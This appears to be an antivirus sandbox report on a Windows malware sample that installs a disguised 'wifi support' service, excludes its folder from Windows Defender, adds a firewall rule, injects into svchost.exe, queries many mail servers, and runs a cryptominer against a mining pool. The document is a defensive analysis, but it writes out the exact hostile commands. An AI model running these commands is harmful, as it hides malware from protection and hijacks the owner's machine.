Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\xbbkzewt] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\xbbkzewt] 'ImagePath' = '%WINDIR%\SysWOW64\xbbkzewt\rasramqh.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\xbbkzewt] 'ImagePath' = '%WINDIR%\SysWOW64\xbbkzewt\rasramqh.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\xbbkzewt' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\rasramqh.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\rasramqh.exe to %WINDIR%\syswow64\xbbkzewt\rasramqh.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
- http://ep###.siam.org/poons
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK pr######.mail.invivo-group.com
- DNS ASK ne###ys.co.nz
- DNS ASK mx#########st-2.prod.hydra.sophos.com
- DNS ASK ki###pcu.org
- DNS ASK kc##########.mail.protection.outlook.com
- DNS ASK co##air.com
- DNS ASK ma###.copaair.com
- DNS ASK ki####medical.com
- DNS ASK sm##.##cureserver.net
- DNS ASK mi###rime.com
- DNS ASK mx#.##tsolmail.net
- DNS ASK vk.com
- DNS ASK al##alia.it
- DNS ASK mx#######801.gslb.pphosted.com
- DNS ASK ho##ail.de
- DNS ASK te###.com.ar
- DNS ASK vi#######mx-gateway.terra.com
- DNS ASK ne####-vertcite.com
- DNS ASK br###park.no
- DNS ASK mx#######102.gslb.pphosted.com
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK go##le.ru
- DNS ASK ns###s.co.uk
- DNS ASK ma##.#sales.co.uk
- DNS ASK nt##os.net
- DNS ASK mx####.carrierzone.com
- DNS ASK mo##er.no
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK mm#.no
- DNS ASK mx##.#ieldwork.no
- DNS ASK no##argo.no
- DNS ASK sc##.evry.com
- DNS ASK gm.com
- DNS ASK mx#.#mr.gm.com
- DNS ASK ep###.siam.org
- DNS ASK mi###email.nl
- DNS ASK re###.#ostedplatform.nl
- DNS ASK li#e.de
- DNS ASK ne####-elvagri.com
- DNS ASK mx#.##oadpark.no
- DNS ASK to####elindia.com
- DNS ASK zs#.#abrze.pl
- DNS ASK li##.co.za
- DNS ASK at#.#iella.it
- DNS ASK mx.###.biella.it
- DNS ASK dr###nball.gr
- DNS ASK mx#.##stinger.gr
- DNS ASK ic##ud.com
- DNS ASK mx#.##il.icloud.com
- DNS ASK bm##c.com
- DNS ASK ti###linet.it
- DNS ASK as###.daum.net
- DNS ASK li##.com.mx
- DNS ASK na#.###.#rotection.outlook.com
- DNS ASK do###eclick.net
- DNS ASK co#.net
- DNS ASK cx#.##.#.cloudfilter.net
- DNS ASK lo#####bsolutions.com
- DNS ASK se###energy.com
- DNS ASK re###.#emcoenergy.com
- DNS ASK in##set.it
- DNS ASK mx###.in-mx.com
- DNS ASK mx#######f02.gslb.pphosted.com
- DNS ASK po####.zso.zabrze.pl
- DNS ASK ho#.gr
- DNS ASK pr#####1.mail.hol.gr
- DNS ASK ch####utsalez.com
- DNS ASK pe###epc.com
- DNS ASK mx#.##rthlink.net
- DNS ASK lo###.vk.com
- DNS ASK de##zzd.com
- DNS ASK mx##.#indstream.net
- DNS ASK bi##oot.com
- DNS ASK mi###pring.com
- DNS ASK ie.#bm.com
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK ho##an.us
- DNS ASK pf##er.com
- DNS ASK li##en.no
- DNS ASK zm#.#nasset.net
- DNS ASK ALT1.ASPMX.L.GOOGLE.COM
- DNS ASK mx#.#ellino.it
- DNS ASK li##et.it
- DNS ASK ma##.b-io.co
- DNS ASK sm####n.libero.it
- DNS ASK su##eu.fi
- DNS ASK ma##.surfeu.fi
- DNS ASK km##.net
- DNS ASK ma##.kmdi.net
- DNS ASK nr##.go.jp
- DNS ASK nr####.nrib.go.jp
- DNS ASK co####reromagna.it
- DNS ASK aspmx.l.google.com
- DNS ASK nr##4.com
- DNS ASK p.####om.ctmail.com
- DNS ASK ti##ali.it
- DNS ASK et###.#ail.tiscali.it
- DNS ASK su#####rbodyhealth.com
- DNS ASK sa##ck.net
- DNS ASK su#####rbponline.com
- DNS ASK pr#######.#mailsecurity.trendmicro.eu
- DNS ASK ca##anet.it
- DNS ASK km.dk
- DNS ASK ao#.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK gm##l.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK ar##ia.com
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK mx.####datacenter.net
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK ho##ail.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK hk.####n.herominers.com
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK yandex.ru
- DNS ASK mx.yandex.ru
- DNS ASK ya###.com.ar
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK sm#####.panservice.it
- DNS ASK li##ro.it
- DNS ASK sv#.##-hop-paris.fr
- DNS ASK le####staurants.com
- DNS ASK ca###one.net
- DNS ASK google.com
- DNS ASK mx.##bleone.net
- DNS ASK gu##ung.com
- DNS ASK mx##.1and1.fr
- DNS ASK be####opertyco.com
- DNS ASK ni####elsungen.de
- DNS ASK ma##.##ederelsungen.de
- DNS ASK tt.#btt.com
- DNS ASK mx.#bc.com
- DNS ASK ni###relz.com
- DNS ASK ma##.#iederelz.com
- DNS ASK vi##ilio.it
- DNS ASK sm####n.virgilio.it
- DNS ASK no##ail.com
- DNS ASK ma##.#iederee.de
- DNS ASK ma##.nieder.de
- DNS ASK us#######nbound-1.mimecast.com
- DNS ASK ni##eree.de
- DNS ASK ni##er.de
- DNS ASK cl######.eu.messagelabs.com
- DNS ASK ms#####p-mx2.hinet.net
- DNS ASK an##em.com
- DNS ASK mx#######e01.gslb.pphosted.com
- DNS ASK me###one.net
- DNS ASK da##de.it
- DNS ASK ma####w.davide.it
- DNS ASK ni#####erger-gruppe.de
- DNS ASK we######.sitebuildit.com
- DNS ASK pa##n.com
- DNS ASK sm##.#v-interna.de
- DNS ASK ns##es.com
- DNS ASK mx#####.ppe-hosted.com
- DNS ASK ha##ail.net
- DNS ASK mx#.#anmail.net
- DNS ASK ni####bergnet.de
- DNS ASK ma##.##ederbergnet.de
- DNS ASK mu###lsj.com.ar
- DNS ASK ms#.#inet.net
- DNS ASK mx#.###.c3s2.iphmx.com
- DNS ASK my###.net.au
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\xbbkzewt\rasramqh.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\xbbkzewt\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\rasramqh.exe" %WINDIR%\SysWOW64\xbbkzewt\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create xbbkzewt binPath= "%WINDIR%\SysWOW64\xbbkzewt\rasramqh.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description xbbkzewt "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start xbbkzewt' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\xbbkzewt\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\rasramqh.exe" %WINDIR%\SysWOW64\xbbkzewt\
- '%WINDIR%\syswow64\sc.exe' create xbbkzewt binPath= "%WINDIR%\SysWOW64\xbbkzewt\rasramqh.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description xbbkzewt "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start xbbkzewt
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/xhv -o hk.haven.herominers.com:10451 -u hvxyDpkRtcZaPBeYaKJ5t1XTwUT5K65EnENUmzZQc57Uhan6owyfqWTaQKAh5EQFUPFDaqbGsmVCdXapddCMPTYU6ZshRESV65.60000 -p 3 -k
